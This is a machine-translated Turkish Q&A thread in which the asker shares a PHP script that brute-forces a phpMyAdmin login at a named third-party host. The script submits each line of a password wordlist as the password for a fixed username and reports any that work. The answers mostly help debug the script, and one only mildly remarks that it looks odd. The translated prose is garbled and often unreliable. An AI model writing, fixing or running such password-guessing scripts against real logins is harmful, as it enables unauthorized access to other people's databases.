Phpmyadmin oturum açma komut

2 Cevap php

Ben phpmyadmin için bir oturum açma komut dosyası kodu için çalışıyor

<?php    
$user = "Domain";
$passwords = file("passwords.txt");

foreach ( $passwords as $pass){
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):
echo "Login Worked with: {$pass}";
endif;
}
?>

Benim Sorun öyle, burada işleri yok

echo "Login Worked with: {$pass}";

Eğer sorun görüyor musunuz?

2 Cevap

Ille sorununuza çözüm, ancak bazı temel hata denetimi doğru yönde bir işaret olabilir. Senin sorunun bile Dosyaya ilk çağrı başlayabilir.

$passwords = file("passwords.txt");

if (!$passwords) {
 echo 'Unable to read password file';
} //etc

$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");

if (!$source) {
 echo 'Unable to read file source';
} //etc

Ayrıca bir yan not olarak size dosya sistemi dışındaki bir dosya üzerinde bu işlevi çağırarak olsaydı, sadece (o niyeti olsaydı emin değilim) tarayıcınızda çağırarak benzer çıktı (HTML) almak olmaz.

$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):

$ Kaynak değeri url alma tam HTML cevap olacak:

http://dbadmin.one.com/index.php?lang=en&server=1&pma_username= $ user = $ & pma_password geçiş

preg_match sadece o dizenin ilk satırında maç yapacak. O bütün dosya üzerinde maç olacak böylece herhangi bir satır karakterleri farklı dizesini ayrıştırmak ya da değiştirmeniz gerekir.

Eğer farklı şifreler bir dizi adı "Alan" kullanarak bir veritabanına giriş deniyoruz gibi de görünüyor. Eğer emin değil niyeti olduğunu, ama biraz tuhaf görünüyor.